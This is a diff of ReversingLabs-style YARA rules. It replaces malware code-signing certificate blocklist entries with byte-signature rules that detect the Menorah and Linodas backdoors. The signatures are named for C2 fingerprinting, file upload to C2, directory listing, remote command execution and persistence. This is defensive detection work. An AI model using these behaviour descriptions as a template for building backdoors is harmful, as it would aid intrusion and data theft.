?? ?? ?? ?? ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? FC B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 + AA 8B 15 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8D B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Corsair Software Solution Inc." and pe.signatures [ i ] . serial == "51:ae:ad:5a:9a:b2:d8:41:b4:49:fa:82:de:3a:8a:00" and 1501577475 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( ( all of ( $send_result_to_peer_v1_p* ) ) and ( $execute_remote_command_v1 ) and ( all of ( $send_reply_v1_p* ) ) and ( $daemon_already_running_check_v1 ) ) or ( ( all of ( $send_result_to_peer_v2_p* ) ) and ( $execute_remote_command_v2 ) and ( all of ( $main_routine_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_03B630F9645531F8868Dae8Ac0F8Cfe6 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Menorah : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Menorah backdoor." author = "ReversingLabs" - id = "be945687-9b8c-5d84-9992-fd317eddae54" - date = "2020-08-05" - modified = "2023-11-08" + id = "4f13a6c6-bd97-58aa-ac3b-399866b5c63b" + date = "2024-05-10" + modified = "2024-05-10" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4968-L4984" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara#L1-L169" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6d2f4346760bf52a438c4c996e92a2641bebfd536248776383d7c8394e094e6a" + logic_hash = "770aefca192ceb3a778c0b1259105ace8e64cb35d0c34acb15c45fb6f22ad94b" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Menorah" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Geksan LLC" and pe.signatures [ i ] . serial == "03:b6:30:f9:64:55:31:f8:86:8d:ae:8a:c0:f8:cf:e6" and 1594252801 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_6F8373Cf89F1B49138F4328118487F9E : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "80c5d205-7f5e-5e06-b490-f33205154974" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4986-L5002" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f926c2f73d47d463721a0cad48d9866192df55d71867941a40cba7e0b7725102" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $send_fingerprint_to_c2_p1 = { + 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A + 73 ?? ?? ?? ?? 19 1F 0E 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1F 5B 13 ?? 12 ?? 28 ?? ?? + ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 5D 13 ?? + 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 1F 5B 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 17 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 06 A2 25 19 1F 40 13 ?? + 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 0D 1F 3F 13 ?? 12 + ?? 28 ?? ?? ?? ?? 17 16 28 ?? ?? ?? ?? 1F 3D 13 ?? 12 ?? 28 ?? ?? ?? ?? 17 16 28 ?? + ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 03 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? + 13 ?? 11 ?? 1F 50 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 4F 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 53 + 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 54 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 11 ?? 1F 21 8D ?? ?? ?? ?? 25 16 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F + 70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F + 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F + 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F + 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 + } + $send_fingerprint_to_c2_p2 = { + 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 + 1F 0B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 78 13 ?? 12 ?? 28 ?? ?? ?? ?? + A2 25 1F 0D 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 77 13 ?? 12 ?? 28 ?? ?? + ?? ?? A2 25 1F 0F 1F 77 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 77 13 ?? 12 ?? 28 + ?? ?? ?? ?? A2 25 1F 11 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 66 13 ?? 12 + ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 72 13 + ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 16 1F + 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F + 18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1F 1A 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? + ?? A2 25 1F 1C 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 6F 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 1F 1E 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1F 1F 65 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 1F 20 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 11 ?? 08 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 08 16 08 8E 69 6F + ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 + 6F ?? ?? ?? ?? 0D 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 13 ?? DE ?? 26 7E ?? ?? ?? ?? 13 + ?? DE ?? 11 + } + $get_files_and_directories_p1 = { + 11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 31 ?? + 11 ?? 17 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1F 0F 8D + ?? ?? ?? ?? 25 16 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 1A 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 74 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 1C 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 72 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 1F 20 13 ?? 12 ?? 28 + ?? ?? ?? ?? A2 25 1F 0A 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 66 13 ?? 12 + ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 11 ?? A2 + 25 1F 0E 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 + ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ?? + 13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F + 16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12 + } + $get_files_and_directories_p2 = { + 28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F 79 13 ?? 12 + ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13 + ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F + 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F + 0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ?? + ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 3C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44 + 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 52 + 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 3E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 72 ?? + ?? ?? ?? A2 25 1F 09 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? + ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13 ?? 16 13 ?? 38 + ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ?? 13 ?? 1F 0C 8D ?? ?? ?? ?? 25 16 11 ?? A2 + 25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F 16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 25 1F 09 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 + } + $get_files_and_directories_p3 = { + 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68 + 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E + 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 + 1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? + A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? + ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28 + ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 46 + 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 4C + 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 45 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 72 ?? + ?? ?? ?? A2 25 1E 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 72 ?? + ?? ?? ?? A2 25 1F 0A 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? + ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 1F 0B 8D ?? ?? ?? ?? 25 + 16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1B 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1D 1F 28 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1F 09 1F 29 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? + ?? 13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E + 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F + } + $upload_file_to_c2_p1 = { + 11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 3E ?? ?? ?? ?? 11 ?? + 17 9A 17 8D ?? ?? ?? ?? 25 16 1F 22 9D 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 39 + ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ?? + 13 ?? 1F 0D 8D ?? ?? ?? ?? 25 16 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 40 13 + ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1A 28 ?? ?? ?? ?? A2 25 1B 1F 7C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 28 ?? ?? ?? + ?? A2 25 1D 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 11 ?? A2 25 1F 09 1F 40 13 ?? + 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 32 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 40 + 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 11 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? + 02 02 7B ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 1F 1E 8D ?? ?? ?? ?? 25 16 1F 66 13 ?? + 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 6C 13 ?? + 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5B 13 ?? + 12 ?? 28 ?? ?? ?? ?? A2 25 1B 11 ?? A2 25 1C 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 + 1D 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 + 1F 09 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28 + } + $upload_file_to_c2_p2 = { + A2 25 1F 0B 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 70 13 ?? 12 ?? 28 ?? ?? + ?? ?? A2 25 1F 0D 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6F 13 ?? 12 ?? 28 + ?? ?? ?? ?? A2 25 1F 0F 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 64 13 ?? 12 + ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 64 13 + ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F + 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F + 16 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 + 25 1F 18 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 72 13 ?? 12 ?? 28 ?? ?? ?? + ?? A2 25 1F 1A 1F 76 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 65 13 ?? 12 ?? 28 ?? + ?? ?? ?? A2 25 1F 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 2E 13 ?? 12 ?? + 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 1F 0F 8D ?? ?? ?? ?? 25 16 1F + 66 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F + 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F + 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "30 PTY LTD" and pe.signatures [ i ] . serial == "6f:83:73:cf:89:f1:b4:91:38:f4:32:81:18:48:7f:9e" and 1572566400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $send_fingerprint_to_c2_p* ) ) and ( all of ( $get_files_and_directories_p* ) ) and ( all of ( $upload_file_to_c2_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_E38259Cf24Cc702Ce441B683Ad578911 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Linodas : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Linodas backdoor." author = "ReversingLabs" - id = "fc5df86f-b8c9-58b1-bd41-e03ed50829dd" - date = "2020-08-05" - modified = "2023-11-08" + id = "2b197346-abce-5cff-938f-bb8742e03168" + date = "2024-05-22" + modified = "2024-05-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5004-L5022" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.Linodas.yara#L1-L216" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2428df14a18f4aed1a3db85c1fb43a847fae8a922c6dc948f3bc514dc4cae09c" + logic_hash = "12445771106e36b74b1ea292a8a25cab66bcaf0a08cf88d39a9f1bb13c6f525b" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Linodas" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Akhirah Technologies Inc." and ( pe.signatures [ i ] . serial == "00:e3:82:59:cf:24:cc:70:2c:e4:41:b6:83:ad:57:89:11" or pe.signatures [ i ] . serial == "e3:82:59:cf:24:cc:70:2c:e4:41:b6:83:ad:57:89:11" ) and 1597276800 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_Bdc81Bc76090Dae0Eee2E1Eb744A4F9A : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "66feefd2-9cec-56fc-a1c1-11004363462d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5024-L5042" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4fc3e57bedb6fb7c96e6a1ee2ad2aec3860716ac714d52ea58b86be4bbda4660" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $persistence_mechanism_ubuntu = { + 41 54 BE ?? ?? ?? ?? 55 53 48 81 EC ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? 48 89 + EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ?? 48 + 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 + 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? BE ?? ?? ?? ?? 48 + 89 EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ?? + 48 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? + 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 EE 48 89 DF E8 ?? ?? ?? + ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 BC ?? ?? ?? ?? 48 83 EB ?? 4C 39 E3 0F + 85 ?? ?? ?? ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 + E8 ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 + 74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8D 5C 24 ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 + ?? ?? ?? ?? 48 89 DE 48 89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F + 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA + ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 5C 24 ?? 4C 8B 44 24 + ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48 + 89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? BE ?? ?? + ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? + ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? + 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 + 39 DC 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3 + } + $network_communication_1 = { + 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 F3 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 81 EC ?? ?? + ?? ?? 48 8B 06 48 89 FD 89 54 24 ?? 45 89 C4 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 4C 8D + 6C 24 ?? 48 8B 33 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 78 ?? ?? 0F 84 ?? ?? + ?? ?? 45 84 E4 0F 85 ?? ?? ?? ?? BE ?? ?? 